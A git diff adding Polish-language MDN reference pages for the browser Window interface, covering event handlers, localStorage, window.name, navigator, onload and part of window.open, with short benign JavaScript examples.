+ <dt>{{domxref("WindowOrWorkerGlobalScope.setInterval()")}}</dt>
+ <dd>Schedules a function to execute every time a given number of milliseconds elapses.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.setTimeout()")}}</dt>
+ <dd>Schedules a function to execute in a given amount of time.</dd>
+</dl>
+
+<h3 id="Obsolete_methods">Obsolete methods</h3>
+
+<dl>
+ <dt>{{domxref("Window.showModalDialog()")}} {{obsolete_inline}}</dt>
+ <dd>Displays a modal dialog. <strong>This method was removed completely in Chrome 43, and Firefox 55.</strong></dd>
+</dl>
+
+<h2 id="Event_handlers">Event handlers</h2>
+
+<p>These are properties of the window object that can be set to establish event handlers for the various things that can happen in the window that might be of interest.</p>
+
+<p><em>This interface inherits event handlers from the {{domxref("EventTarget")}} interface and implements event handlers from {{domxref("WindowEventHandlers")}}.</em></p>
+
+<div class="note">
+<p><strong>Note:</strong> Starting in {{Gecko("9.0")}}, you can now use the syntax <code>if ("onabort" in window)</code> to determine whether or not a given event handler property exists. This is because event handler interfaces have been updated to be proper web IDL interfaces. See <a href="/en-US/docs/DOM/DOM_event_handlers">DOM event handlers</a> for details.</p>
+</div>
+
+<dl>
+ <dt>{{domxref("GlobalEventHandlers.onabort")}}</dt>
+ <dd>Called when the loading of a resource has been aborted, such as by a user canceling the load while it is still in progress</dd>
+ <dt>{{domxref("WindowEventHandlers.onafterprint")}}</dt>
+ <dd>Called when the print dialog box is closed. See {{event("afterprint")}} event.</dd>
+ <dt>{{domxref("WindowEventHandlers.onbeforeprint")}}</dt>
+ <dd>Called when the print dialog box is opened. See {{event("beforeprint")}} event.</dd>
+ <dt>{{domxref("Window.onbeforeinstallprompt")}}</dt>
+ <dd>An event handler property dispatched before a user is prompted to save a web site to a home screen on mobile.</dd>
+ <dt>{{domxref("WindowEventHandlers.onbeforeunload")}}</dt>
+ <dd>An event handler property for before-unload events on the window.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onblur")}}</dt>
+ <dd>Called after the window loses focus, such as due to a popup.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onchange")}}</dt>
+ <dd>An event handler property for change events on the window.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onclick")}}</dt>
+ <dd>Called after the ANY mouse button is pressed &amp; released</dd>
+ <dt>{{domxref("GlobalEventHandlers.ondblclick")}}</dt>
+ <dd>Called when a double click is made with ANY mouse button.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onclose")}}</dt>
+ <dd>Called after the window is closed</dd>
+ <dt>{{domxref("GlobalEventHandlers.oncontextmenu")}}</dt>
+ <dd>Called when the RIGHT mouse button is pressed</dd>
+ <dt>{{domxref("Window.ondevicelight")}}</dt>
+ <dd>An event handler property for any ambient light levels changes</dd>
+ <dt>{{domxref("Window.ondevicemotion")}} {{gecko_minversion_inline("6.0")}}</dt>
+ <dd>Called if accelerometer detects a change (For mobile devices)</dd>
+ <dt>{{domxref("Window.ondeviceorientation")}} {{gecko_minversion_inline("6.0")}}</dt>
+ <dd>Called when the orientation is changed (For mobile devices)</dd>
+ <dt>{{domxref("Window.ondeviceorientationabsolute")}} {{non-standard_inline}} Chrome only</dt>
+ <dd>An event handler property for any device orientation changes.</dd>
+ <dt>{{domxref("Window.ondeviceproximity")}}</dt>
+ <dd>An event handler property for device proximity event</dd>
+ <dt>{{domxref("GlobalEventHandlers.onerror")}}</dt>
+ <dd>Called when a resource fails to load OR when an error occurs at runtime. See {{event("error")}} event.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onfocus")}}</dt>
+ <dd>Called after the window receives or regains focus. See {{event("focus")}} events.</dd>
+ <dt>{{domxref("WindowEventHandlers.onhashchange")}} {{gecko_minversion_inline("1.9.2")}}</dt>
+ <dd>An event handler property for {{event('hashchange')}} events on the window; called when the part of the URL after the hash mark ("#") changes.</dd>
+ <dt>{{domxref("Window.onappinstalled")}}</dt>
+ <dd>Called when the page is installed as a webapp. See {{event('appinstalled')}} event.</dd>
+ <dt>{{domxref("Window.ongamepadconnected")}}</dt>
+ <dd>Represents an event handler that will run when a gamepad is connected (when the {{event('gamepadconnected')}} event fires).</dd>
+ <dt>{{domxref("Window.ongamepaddisconnected")}}</dt>
+ <dd>Represents an event handler that will run when a gamepad is disconnected (when the {{event('gamepaddisconnected')}} event fires).</dd>
+ <dt>{{domxref("Window.oninput")}}</dt>
+ <dd>Called when the value of an &lt;input&gt; element changes</dd>
+ <dt>{{domxref("GlobalEventHandlers.onkeydown")}}</dt>
+ <dd>Called when you begin pressing ANY key. See {{event("keydown")}} event.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onkeypress")}}</dt>
+ <dd>Called when a key (except Shift, Fn, and CapsLock) is in pressed position. See {{event("keypress")}} event.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onkeyup")}}</dt>
+ <dd>Called when you finish releasing ANY key. See {{event("keyup")}} event.</dd>
+ <dt>{{domxref("WindowEventHandlers.onlanguagechange")}}</dt>
+ <dd>An event handler property for {{event("languagechange")}} events on the window.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onload")}}</dt>
+ <dd>Called after all resources and the DOM are fully loaded. WILL NOT get called when the page is loaded from cache, such as with back button.</dd>
+ <dt>{{domxref("WindowEventHandlers.onmessage")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("message")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onmousedown")}}</dt>
+ <dd>Called when ANY mouse button is pressed.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onmousemove")}}</dt>
+ <dd>Called continously when the mouse is moved inside the window.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onmouseout")}}</dt>
+ <dd>Called when the pointer leaves the window.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onmouseover")}}</dt>
+ <dd>Called when the pointer enters the window</dd>
+ <dt>{{domxref("GlobalEventHandlers.onmouseup")}}</dt>
+ <dd>Called when ANY mouse button is released</dd>
+ <dt>{{domxref("Window.onmozbeforepaint")}} {{gecko_minversion_inline("2.0")}}</dt>
+ <dd>An event handler property for the <code>MozBeforePaint</code> event, which is sent before repainting the window if the event has been requested by a call to the {{domxref("Window.mozRequestAnimationFrame()")}} method.</dd>
+ <dt>{{domxref("WindowEventHandlers.onoffline")}}</dt>
+ <dd>Called when network connection is lost. See {{event("offline")}} event.</dd>
+ <dt>{{domxref("WindowEventHandlers.ononline")}}</dt>
+ <dd>Called when network connection is established. See {{event("online")}} event.</dd>
+ <dt>{{domxref("WindowEventHandlers.onpagehide")}}</dt>
+ <dd>Called when the user navigates away from the page, before the onunload event. See {{event("pagehide")}} event.</dd>
+ <dt>{{domxref("WindowEventHandlers.onpageshow")}}</dt>
+ <dd>Called after all resources and the DOM are fully loaded. See {{event("pageshow")}} event.</dd>
+ <dt>{{domxref("Window.onpaint")}}</dt>
+ <dd>An event handler property for paint events on the window.</dd>
+ <dt>{{domxref("WindowEventHandlers.onpopstate")}} {{gecko_minversion_inline("2.0")}}</dt>
+ <dd>Called when a back button is pressed.</dd>
+ <dt>{{domxref("Window.onrejectionhandled")}} {{experimental_inline}}</dt>
+ <dd>An event handler for handled {{jsxref("Promise")}} rejection events.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onreset")}}</dt>
+ <dd>Called when a form is reset</dd>
+ <dt>{{domxref("GlobalEventHandlers.onresize")}}</dt>
+ <dd>Called continuously as you are resizing the window.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onscroll")}}</dt>
+ <dd>Called when the scroll bar is moved via ANY means. If the resource fully fits in the window, then this event cannot be invoked</dd>
+ <dt>{{domxref("GlobalEventHandlers.onwheel")}}</dt>
+ <dd>Called when the mouse wheel is rotated around any axis</dd>
+ <dt>{{domxref("GlobalEventHandlers.onselect")}}</dt>
+ <dd>Called after text in an input field is selected</dd>
+ <dt>{{domxref("GlobalEventHandlers.onselectionchange")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("selectionchange")}} event is raised.</dd>
+ <dt>{{domxref("WindowEventHandlers.onstorage")}}</dt>
+ <dd>Called when there is a change in session storage or local storage. See {{event("storage")}} event</dd>
+ <dt>{{domxref("GlobalEventHandlers.onsubmit")}}</dt>
+ <dd>Called when a form is submitted</dd>
+ <dt>{{domxref("WindowEventHandlers.onunhandledrejection")}} {{experimental_inline}}</dt>
+ <dd>An event handler for unhandled {{jsxref("Promise")}} rejection events.</dd>
+ <dt>{{domxref("WindowEventHandlers.onunload")}}</dt>
+ <dd>Called when the user navigates away from the page.</dd>
+ <dt>{{domxref("Window.onuserproximity")}}</dt>
+ <dd>An event handler property for user proximity events.</dd>
+ <dt>{{domxref("Window.onvrdisplayconnect")}}</dt>
+ <dd>Represents an event handler that will run when a compatible VR device has been connected to the computer (when the {{event("vrdisplayconnected")}} event fires).</dd>
+ <dt>{{domxref("Window.onvrdisplaydisconnect")}}</dt>
+ <dd>Represents an event handler that will run when a compatible VR device has been disconnected from the computer (when the {{event("vrdisplaydisconnected")}} event fires).</dd>
+ <dt>{{domxref("Window.onvrdisplayactivate")}}</dt>
+ <dd>Represents an event handler that will run when a display is able to be presented to (when the {{event("vrdisplayactivate")}} event fires), for example if an HMD has been moved to bring it out of standby, or woken up by being put on.</dd>
+ <dt>{{domxref("Window.onvrdisplaydeactivate")}}</dt>
+ <dd>Represents an event handler that will run when a display can no longer be presented to (when the {{event("vrdisplaydeactivate")}} event fires), for example if an HMD has gone into standby or sleep mode due to a period of inactivity.</dd>
+ <dt>{{domxref("Window.onvrdisplayblur")}}</dt>
+ <dd>Represents an event handler that will run when presentation to a display has been paused for some reason by the browser, OS, or VR hardware (when the {{event("vrdisplayblur")}} event fires) — for example, while the user is interacting with a system menu or browser, to prevent tracking or loss of experience.</dd>
+ <dt>{{domxref("Window.onvrdisplayfocus")}}</dt>
+ <dd>Represents an event handler that will run when presentation to a display has resumed after being blurred (when the {{event("vrdisplayfocus")}} event fires).</dd>
+ <dt>{{domxref("Window.onvrdisplaypresentchange")}}</dt>
+ <dd>represents an event handler that will run when the presenting state of a VR device changes — i.e. goes from presenting to not presenting, or vice versa (when the {{event("vrdisplaypresentchange")}} event fires).</dd>
+</dl>
+
+<h2 id="Constructors">Constructors</h2>
+
+<p>See also the <a href="/en-US/docs/DOM/DOM_Reference" title="/en-US/docs/DOM/DOM_Reference">DOM Interfaces</a>.</p>
+
+<dl>
+ <dt>{{domxref("DOMParser")}}</dt>
+ <dd><code>DOMParser</code> can parse XML or HTML source stored in a string into a DOM <a href="https://developer.mozilla.org/en-US/docs/DOM/document" title="document">Document</a>. <code>DOMParser</code> is specified in <a href="https://w3c.github.io/DOM-Parsing/" title="http://html5.org/specs/dom-parsing.html">DOM Parsing and Serialization</a>.</dd>
+ <dt>{{domxref("Window.GeckoActiveXObject")}}</dt>
+ <dd>{{todo("NeedsContents")}}</dd>
+ <dt>{{domxref("Image")}}</dt>
+ <dd>Used for creating an {{domxref("HTMLImageElement")}}.</dd>
+ <dt>{{domxref("Option")}}</dt>
+ <dd>Used for creating an {{domxref("HTMLOptionElement")}}</dd>
+ <dt>{{domxref("Window.QueryInterface")}}</dt>
+ <dd>{{todo("NeedsContents")}}</dd>
+ <dt>{{domxref("Window.XMLSerializer")}}</dt>
+ <dd>{{todo("NeedsContents")}}</dd>
+ <dt>{{domxref("Worker")}}</dt>
+ <dd>Used for creating a <a href="/en-US/docs/DOM/Using_web_workers">Web worker</a></dd>
+ <dt>{{domxref("Window.XPCNativeWrapper")}}</dt>
+ <dd>{{todo("NeedsContents")}}</dd>
+ <dt>{{domxref("Window.XPCSafeJSObjectWrapper")}}</dt>
+ <dd>{{todo("NeedsContents")}}</dd>
+</dl>
+
+<h2 id="Interfaces">Interfaces</h2>
+
+<p>See <a href="/en-US/docs/DOM/DOM_Reference" title="/en-US/docs/DOM/DOM_Reference">DOM Reference</a></p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Working_with_windows_in_chrome_code">Working with windows in chrome code</a></li>
+</ul>
diff --git a/files/pl/web/api/window/localstorage/index.html b/files/pl/web/api/window/localstorage/index.html
new file mode 100644
index 0000000000..e93c5c15e7
--- /dev/null
+++ b/files/pl/web/api/window/localstorage/index.html
@@ -0,0 +1,125 @@
+---
+title: Window.localStorage
+slug: Web/API/Window/localStorage
+tags:
+ - API
+ - Pamięć
+ - Referencja
+ - Storage
+ - Web Storage
+ - WindowLocalStorage
+ - Własność
+ - localStorage
+translation_of: Web/API/Window/localStorage
+---
+<p>{{APIRef()}}</p>
+
+<p>Własność localStorage pozwala na dostęp do lokalnego obiektu {{domxref("Storage")}}. localStorage jest podobne w swoich założeniach do <code><a href="/en-US/docs/Web/API/Window.sessionStorage">sessionStorage</a>.</code> Różnica pomiędzy nimi polega na tym, że dane przechowywane w <code>localStorage</code> nie mają daty ważności, a dane przechowywane w <code>sessionStorage</code> usuwane są po zakończeniu danej sesji - czyli przy zamknięciu przeglądarki.</p>
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="brush: js">myStorage = localStorage;</pre>
+
+<h3 id="Wartość">Wartość</h3>
+
+<p>Obiekt {{domxref("Storage")}}.</p>
+
+<h2 id="Przykład">Przykład</h2>
+
+<p>Poniższy kod uzyskuje dostęp do lokalnego obiektu {{domxref("Storage")}}, należącego do obecnej domeny i dodaje do niego własność używająć metody {{domxref("Storage.setItem()")}}.</p>
+
+<pre class="brush: js">localStorage.setItem('myCat', 'Tom');</pre>
+
+<div class="note">
+<p><strong>Notka</strong>: Pełny przykład znajdziesz w artykule <a href="/en-US/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API">Using the Web Storage API</a> .</p>
+</div>
+
+<h2 id="Specyfikajca">Specyfikajca</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specyfikacja</th>
+ <th scope="col">Status</th>
+ <th scope="col">Komentarz</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('Web Storage', '#dom-localstorage', 'localStorage')}}</td>
+ <td>{{Spec2('Web Storage')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Wsparcie_przeglądarek">Wsparcie przeglądarek</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Własność</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari (WebKit)</th>
+ </tr>
+ <tr>
+ <td>localStorage</td>
+ <td>4</td>
+ <td>3.5</td>
+ <td>8</td>
+ <td>10.50</td>
+ <td>4</td>
+ </tr>
+ <tr>
+ <td>sessionStorage</td>
+ <td>5</td>
+ <td>2</td>
+ <td>8</td>
+ <td>10.50</td>
+ <td>4</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Własność</th>
+ <th>Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Phone</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Podstawowe wspracie</td>
+ <td>2.1</td>
+ <td>{{ CompatUnknown }}</td>
+ <td>8</td>
+ <td>11</td>
+ <td>iOS 3.2</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<p>Sposób wsparcia dla <code>localStorage</code> i {{domxref("sessionStorage")}} różni się w zależności od przeglądarki. Tutaj znajdziesz <a class="external" href="http://dev-test.nemikor.com/web-storage/support-test/" title="http://dev-test.nemikor.com/web-storage/support-test/">szczegółowe dane na temat wsparcia poszczególnych przeglądarek dla obiektów Storage</a>.</p>
+
+<div class="note">
+<p><strong>Notka:</strong> Zaczynając od wersji iOS 5.1, Safari przetrzymuje dane <code>localStorage</code> w folderze <code>cache.</code> Folder ten poddawany jest okresowemu czyszczeniu, zazwyczaj, gdy w pamięci urządzenia kończy się miejsce. Tryb prywatny w mobilnej przeglądarce Safari blokuje również całkowicie możliwość zapisu do pamięci <code>localStorage</code>.</p>
+</div>
+
+<h2 id="Zobacz_także">Zobacz także</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API">Using the Web Storage API</a></li>
+ <li>{{domxref("LocalStorage")}}</li>
+ <li>{{domxref("SessionStorage")}}</li>
+ <li>{{domxref("Window.sessionStorage")}}</li>
+</ul>
diff --git a/files/pl/web/api/window/name/index.html b/files/pl/web/api/window/name/index.html
new file mode 100644
index 0000000000..0b91ec81ec
--- /dev/null
+++ b/files/pl/web/api/window/name/index.html
@@ -0,0 +1,27 @@
+---
+title: window.name
+slug: Web/API/Window/name
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Window/name
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Pobiera/ustawia nazwę okna.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval"><i>string</i> = window.name
+ window.name =<i>string</i>
+</pre>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<pre class="eval">window.name = "lab_view";
+</pre>
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+<p>Nazwa okna jest używana pierwotnie dla ustawienia celu dla linków oraz formularzy. Okno nie musi posiadać nazwy.</p>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p>DOM poziom 0. Nie jest częścią specyfikacji.</p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/window.name", "ja": "ja/DOM/window.name" } ) }}</p>
diff --git a/files/pl/web/api/window/navigator/index.html b/files/pl/web/api/window/navigator/index.html
new file mode 100644
index 0000000000..c43e84184b
--- /dev/null
+++ b/files/pl/web/api/window/navigator/index.html
@@ -0,0 +1,84 @@
+---
+title: window.navigator
+slug: Web/API/Window/navigator
+tags:
+ - DOM
+ - DOM_0
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Strony_wymagające_dopracowania
+ - Wszystkie_kategorie
+translation_of: Web/API/Window/navigator
+---
+<p>{{ ApiRef() }}</p>
+
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+
+<p>Zwraca odwołanie do obiektu navigator, który może być zapytany o informację na temat aplikacji uruchamiającej skrypt.</p>
+
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+
+<pre class="eval">alert("Używasz " + navigator.appName);
+</pre>
+
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci">Własności</h3>
+
+<dl>
+ <dt><a href="pl/DOM/window.navigator.appCodeName">navigator.appCodeName</a></dt>
+ <dd>Zwraca wewnętrzną nazwę "kodową" aktualnej przeglądarki.</dd>
+ <dt><a href="pl/DOM/window.navigator.appName">navigator.appName</a></dt>
+ <dd>Zwraca oficjalną nazwę przeglądarki.</dd>
+ <dt><a href="pl/DOM/window.navigator.appVersion">navigator.appVersion</a></dt>
+ <dd>Zwraca wersję przeglądarki jako łańcuch znaków.</dd>
+ <dt><a href="pl/DOM/window.navigator.buildID">navigator.buildID</a></dt>
+ <dd>Zwraca identyfikator kompilacji przeglądarki (np. "2006090803").</dd>
+ <dt><a href="pl/DOM/window.navigator.cookieEnabled">navigator.cookieEnabled</a></dt>
+ <dd>Zwraca wartość logiczną wskazującą czy obsługa ciasteczek jest włączona, czy nie.</dd>
+ <dt><a href="pl/DOM/window.navigator.language">navigator.language</a></dt>
+ <dd>Zwraca łańcuch znaków reprezentujący wersję językową przeglądarki.</dd>
+ <dt><a href="pl/DOM/window.navigator.mimeTypes">navigator.mimeTypes</a></dt>
+ <dd>Zwraca listę typów MIME obsługiwanych przez przeglądarkę.</dd>
+ <dt><a href="pl/DOM/window.navigator.onLine">navigator.onLine</a></dt>
+ <dd>Zwraca wartość logiczną wskazującą czy przeglądarka jest w trybie online.</dd>
+ <dt><a href="pl/DOM/window.navigator.oscpu">navigator.oscpu</a></dt>
+ <dd>Zwraca łańcuch znaków reprezentujący bieżący system operacyjny.</dd>
+ <dt><a href="pl/DOM/window.navigator.platform">navigator.platform</a></dt>
+ <dd>Zwraca łańcuch znaków reprezentujący platformę przeglądarki.</dd>
+ <dt><a href="pl/DOM/window.navigator.plugins">navigator.plugins</a></dt>
+ <dd>Zwraca tablicę z zainstalowanymi wtyczkami przeglądarki.</dd>
+ <dt><a href="pl/DOM/window.navigator.product">navigator.product</a></dt>
+ <dd>Zwraca nazwę produktu bieżącej przeglądarki (np. "Gecko")</dd>
+ <dt><a href="pl/DOM/window.navigator.productSub">navigator.productSub</a></dt>
+ <dd>Zwraca numer kompilacji bieżącej przeglądarki (np. "20060909").</dd>
+ <dt><a href="pl/DOM/window.navigator.securityPolicy">navigator.securityPolicy</a></dt>
+ <dd>Returns an empty string. In Netscape 4.7x, returns "US &amp; CA domestic policy" or "Export policy".</dd>
+ <dt><a href="pl/DOM/window.navigator.userAgent">navigator.userAgent</a></dt>
+ <dd>Returns the user agent string for the current browser.</dd>
+ <dt><a href="pl/DOM/window.navigator.vendor">navigator.vendor</a></dt>
+ <dd>Returns the vendor name of the current browser (e.g. "Netscape6")</dd>
+ <dt><a href="pl/DOM/window.navigator.vendorSub">navigator.vendorSub</a></dt>
+ <dd>Returns the vendor version number (e.g. "6.1")</dd>
+</dl>
+
+<h3 id="Metody" name="Metody">Metody</h3>
+
+<dl>
+ <dt><a href="pl/DOM/window.navigator.javaEnabled">navigator.javaEnabled</a></dt>
+ <dd>Określa czy w przeglądarce jest włączona obsługa Javy.</dd>
+ <dt><a href="pl/DOM/window.navigator.taintEnabled">navigator.taintEnabled</a> {{ Obsolete_inline() }} </dt>
+ <dd>Returns false. JavaScript taint/untaint functions removed in JavaScript 1.2<a class="external" href="http://devedge-temp.mozilla.org/library/manuals/2000/javascript/1.3/reference/nav.html#1194117"> </a></dd>
+ <dt><a href="pl/DOM/window.navigator.preference">navigator.preference</a></dt>
+ <dd>Sets a user preference. This method is <a class="external" href="http://www.faqts.com/knowledge_base/view.phtml/aid/1608/fid/125/lang/en">only available to privileged code</a>, and you should use XPCOM <a href="pl/API_preferencji">API preferencji</a> instead.</dd>
+ <dt><a href="pl/DOM/window.navigator.registerContentHandler">navigator.registerContentHandler</a></dt>
+ <dd>Pozwala stronom na zarejestrowanie się jako możliwe serwisy obsługujące dla zawartości konkretnego typu MIME.</dd>
+ <dt><a href="pl/DOM/window.navigator.registerProtocolHandler">navigator.registerProtocolHandler</a></dt>
+ <dd>Pozwala stronom na zarejestrowanie się jako możliwe serwisy obsługujące dany protokół.</dd>
+</dl>
+
+<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3>
+
+<p><a href="pl/DOM_Client_Object_Cross-Reference/navigator">DOM Client Object Cross-Reference:navigator</a></p>
+
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+
+<p> </p>
diff --git a/files/pl/web/api/window/onload/index.html b/files/pl/web/api/window/onload/index.html
new file mode 100644
index 0000000000..45e1b97328
--- /dev/null
+++ b/files/pl/web/api/window/onload/index.html
@@ -0,0 +1,62 @@
+---
+title: window.onload
+slug: Web/API/Window/onload
+tags:
+ - DOM
+ - DOM_0
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Strony_wymagające_dopracowania
+ - Wszystkie_kategorie
+translation_of: Web/API/GlobalEventHandlers/onload
+---
+<p>{{ ApiRef() }}</p>
+
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+
+<p>Uchwyt zdarzenia dla zdarzenia wczytywania okna (<a href="/pl/DOM/window" title="pl/DOM/window">window</a>).</p>
+
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+
+<pre class="eval">window.onload = <em>funcRef</em>;
+</pre>
+
+<ul>
+ <li><code>funcRef</code> jest funkcją uchwytu.</li>
+</ul>
+
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+
+<pre>window.onload = function() {
+ init();
+ doSomethingElse();
+};
+</pre>
+
+<pre>&lt;html&gt;
+&lt;head&gt;
+
+&lt;title&gt;Test onload&lt;/title&gt;
+
+&lt;script type="text/javascript"&gt;
+
+window.onload = load;
+
+function load()
+{
+ alert("Wykryto zdarzenie load!");
+}
+&lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
+&lt;p&gt;Zdarzenie load występuje w momencie zakończenia ładowania dokumentu!&lt;/p&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+
+<p>Zdarzenie load wywoływane jest na końcu procesu ładowania dokumentu. W momencie wystąpienia zdarzenia, DOM zawiera już wszystkie obiekty zawarte w dokumencie oraz zakończone zostało wczytywanie obrazków oraz ramek.<br>
+ <br>
+ Istnieje także zdarzenie <code>DOMContentLoaded</code> (które można zarejestrować za pomocą <code>addEventListener</code>) występujące w momencie gdy DOM dla danej strony został zbudowany ale bez czekania na zakończenie ładowania pozostałych zasobów.</p>
diff --git a/files/pl/web/api/window/open/index.html b/files/pl/web/api/window/open/index.html
new file mode 100644
index 0000000000..de2d422a8b
--- /dev/null
+++ b/files/pl/web/api/window/open/index.html
@@ -0,0 +1,796 @@
+---
+title: window.open
+slug: Web/API/Window/open
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Strony_wymagające_dopracowania
+ - Wszystkie_kategorie
+translation_of: Web/API/Window/open
+---
+<p>{{ ApiRef() }}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Tworzy nowe okno przeglądarki i wczytuje do niego wskazany zasób.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="eval"><var>referencjaDoObiektuOkna</var> = window.open(<var>strUrl</var>, <var>strNazwaOkna</var> [, <var>strCechyOkna</var>]);
+</pre>
+
+<h3 id="Parametry_i_zwracana_warto.C5.9B.C4.87" name="Parametry_i_zwracana_warto.C5.9B.C4.87">Parametry i zwracana wartość</h3>
+
+<dl>
+ <dt><code>referencjaDoObiektuOkna</code></dt>
+ <dd>Referencja wskazująca na obiekt nowoutworzonego okna to wartość zwracana przez metodę open(). Jeżeli z jakichś powodów nie uda się otworzyć okna, zwrócone zostanie <code>null</code>. Referencje taką dobrze jest przechowywać w zmiennej globalnej. Możesz wtedy użyć jej do do pobrania właściwości nowego okna lub wywołania jego metod - pod warunkiem, że zależność między głównym a nowym oknem spełnia <a class="external" href="http://www.mozilla.org/projects/security/components/same-origin.html">Zasadę tego samego pochodzenia</a> - wymaganą ze względów bezpieczeństwa.</dd>
+</dl>
+
+<dl>
+ <dt><code>strUrl</code></dt>
+ <dd>Adres URL, który ma zostać wczytany w nowym oknie. Może to być dokument HTML gdzieś w Sieci, może to być obrazek lub dowolny inny plik, który może obsłużyć przeglądarka.</dd>
+</dl>
+
+<dl>
+ <dt><code>strNazwaOkna</code></dt>
+ <dd>Ciąg znaków używany jako nazwa okna. Nazwy tej można użyć jako celu dla odnośników i formularzy, określanego za pomocą atrybutu <code>target</code> elementu <code style="font-size: 1em;">&lt;a&gt;</code> lub <code style="font-size: 1em;">&lt;form&gt;</code>. Nazwa nie powinna zawierać spacji. <var>strNazwaOkna</var> nie określa tytułu nowego okna.</dd>
+</dl>
+
+<dl>
+ <dt><code>strCechyOkna</code></dt>
+ <dd>Parametr opcjonalny. Jest to ciąg znaków, w którym wymienione zostają cechy (funkcjonalność, paski narzędzi) nowego okna przeglądarki. Parametr ten nie może zawierać żadnych spacji. Każda żądana cecha okna oddzielana jest od innych za pomocą przecinka.</dd>
+</dl>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Metoda <code>open()</code> tworzy nowe okno przeglądarki, podobnie jak przy wybraniu polecenia Nowe okno w menu Plik. Parametr <var>strUrl</var> określa URL, który ma zostać pobrany i załadowany w nowym oknie. Jeśli <var>strUrl</var> jest pustym ciągiem, utworzone zostanie puste okno (URL <code>about:blank</code>) z domyślnym zestawem pasków głównego okna.</p>
+
+<p>Zauważ, że zdalny URL nie zostanie załadowany od razu. Po zakończeniu wykonywania <code>window.open()</code> okno zawsze zawiera <code>about:blank</code>. Faktyczne pobieranie z adresu URL jest opóźniane do momentu zakończenia wykonywania bieżącego bloku skryptu. Tworzenie okna i ładowanie wskazanego zasobu odbywają się asynchronicznie.</p>
+
+<h4 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h4>
+
+<pre>&lt;script type="text/javascript"&gt;
+
+/* Deklaracja zmiennej globalnej, w której będzie
+ przechowywana referencja do nowego okna */
+
+var WindowObjectReference;
+
+function openRequestedPopup()
+{
+ WindowObjectReference = window.open("http://www.cnn.com/", "CNN_WindowName",
+ "menubar=yes,location=yes,resizable=yes,scrollbars=yes,status=yes");
+}
+&lt;/script&gt;
+</pre>
+
+<pre>&lt;script type="text/javascript"&gt;
+var WindowObjectReference; // zmienna globalna
+
+function openRequestedPopup()
+{
+ WindowObjectReference = window.open("http://www.domainname.ext/path/ImageFile.png",
+ "DescriptiveWindowName",
+ "resizable=yes,scrollbars=yes,status=yes");
+}
+&lt;/script&gt;
+</pre>
+
